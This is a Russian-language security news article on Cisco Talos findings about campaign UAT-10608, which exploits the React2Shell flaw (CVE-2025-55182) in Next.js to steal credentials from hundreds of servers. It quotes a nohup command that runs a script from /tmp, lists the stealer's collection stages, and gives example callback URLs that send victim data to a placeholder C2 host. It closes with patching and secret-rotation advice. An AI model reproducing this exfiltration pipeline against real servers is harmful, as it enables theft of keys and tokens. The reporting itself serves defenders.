Исследователи Cisco Talos сообщили о крупной автоматизированной кампании, в которой злоумышленники эксплуатируют критическую уязвимость React2Shell в публично доступных веб-приложениях, прежде всего на Next.js. По данным Talos, атакующая группа, отслеживаемая как UAT-10608, скомпрометировала 766 хостов и построила почти конвейерную схему кражи данных с серверов.
В основе атак лежит уязвимость CVE-2025-55182 — удалённое выполнение кода без аутентификации в React Server Components. Национальная база NVD описывает её как небезопасную десериализацию данных из HTTP-запросов к серверным функциям. Уязвимость получила максимальную оценку CVSS 10.0. Изначально для Next.js отдельно фигурировал номер CVE-2025-66478, но затем его отклонили как дубликат, оставив основным идентификатором именно CVE-2025-55182.
Читайте также: ИИ против хакеров: 0-day уязвимости в React и Node.js найдены искусственным интеллектом
Злоумышленники используют собственную инфраструктуру сбора данных под названием NEXUS Listener. После первичного проникновения через React2Shell они запускают на сервере полезную нагрузку, которая автоматически ищет и отправляет наружу чувствительные данные. В числе наиболее частых находок — учётные данные баз данных, приватные SSH-ключи, секреты AWS, история команд оболочки, рабочие ключи Stripe и токены GitHub.
Сбор данных осуществляют с помощью скриптов оболочки, запускаемых с помощью команды nohup и размещаемых в каталоге /tmp с использованием случайных имен:
/bin/sh -c nohup sh /tmp/.eba9ee1e4.sh >/dev/null 2>&1
Первоначальный эксплойт для React предоставляет небольшой дроппер, который загружает и запускает полный многоэтапный скрипт сбора данных. После выполнения скрипт сбора данных проходит несколько этапов для сбора различных данных из скомпрометированной системы, как описано ниже:
-
environ - Дамп переменных среды запущенного процесса
-
jsenv — Извлечение среды выполнения JavaScript из JSON-анализа.
-
ssh - Сбор закрытых ключей SSH и авторизованных ключей
-
токены — сопоставление с шаблоном и извлечение строк учетных данных.
-
история - Захват истории команд оболочки
-
cloud_meta - Запрос к API метаданных облака (AWS/GCP/Azure)
-
k8s - Извлечение токенов учетной записи службы Kubernetes
-
Docker — перечисление конфигураций контейнеров
-
cmdline - Отображает список всех командных строк запущенных процессов.
-
proc_all - Агрегировать все переменные среды процесса
Платформа использует файл meta.json, который отслеживает состояние выполнения:

После завершения каждого этапа сбора данных отправляется HTTP-запрос обратно на сервер управления (C2), на котором запущен компонент NEXUS Listener. В большинстве случаев обратный вызов осуществляется на порту 8080 и содержит следующие параметры:
-
Имя хоста
-
Фаза
-
ИДЕНТИФИКАТОР
Вот несколько примеров полных URL-адресов, выполняемых после каждого этапа:
http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=info&id= 123abc45
http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=jsenv&id= 123abc45
http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=k8s&id=123abc45
http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=crontab&id=123abc45
Масштаб сбора данных показателен. По данным Cisco Talos, примерно на 701 хосте нашли учётные данные к базам данных, примерно на 599 — приватные SSH-ключи, на 196 — данные доступа к AWS, на 245 — историю команд оболочки, на 87 — действующие ключи Stripe, а на 66 — токены GitHub. Всего исследователи зафиксировали 10 120 собранных файлов.
BleepingComputer также сообщает, что исследователи Talos получили доступ к открытому экземпляру NEXUS Listener и смогли посмотреть, какие именно данные стекались с уже взломанных машин. Это позволило подтвердить не только факт эксплуатации React2Shell, но и реальный объём выкачанной информации.
Для защиты нет «волшебной таблетки», но шаги вполне понятны. Во-первых, нужно убедиться, что серверы не используют уязвимые версии React Server Components. Во-вторых, после возможной компрометации мало просто поставить патч: Talos и профильные издания подчёркивают, что необходимо перевыпустить все секреты, которые могли храниться на сервере, включая доступы к базам данных, SSH-ключи, облачные токены и API-ключи сторонних сервисов. Если злоумышленник уже скачал эти данные, одно обновление фреймворка ситуацию не исправит.
Есть новость? Станьте автором.
Мы сотрудничаем с независимыми исследователями и специалистами по кибербезопасности. Отправьте нам новость или предложите статью на рассмотрение редакции.
Вопросы по теме
Что такое React2Shell?
Почему в новости упоминают именно Next.js?
Сколько систем уже пострадало?
Что именно крадут злоумышленники?
Достаточно ли просто поставить обновление?
Читайте также
Megalodon за шесть часов заразил 5,5 тысячи репозиториев GitHub. Атака била по CI/CD-секретам
Radiology Associates of Richmond сообщила о новой утечке: данные 266 тысяч пациентов украли из внутренних систем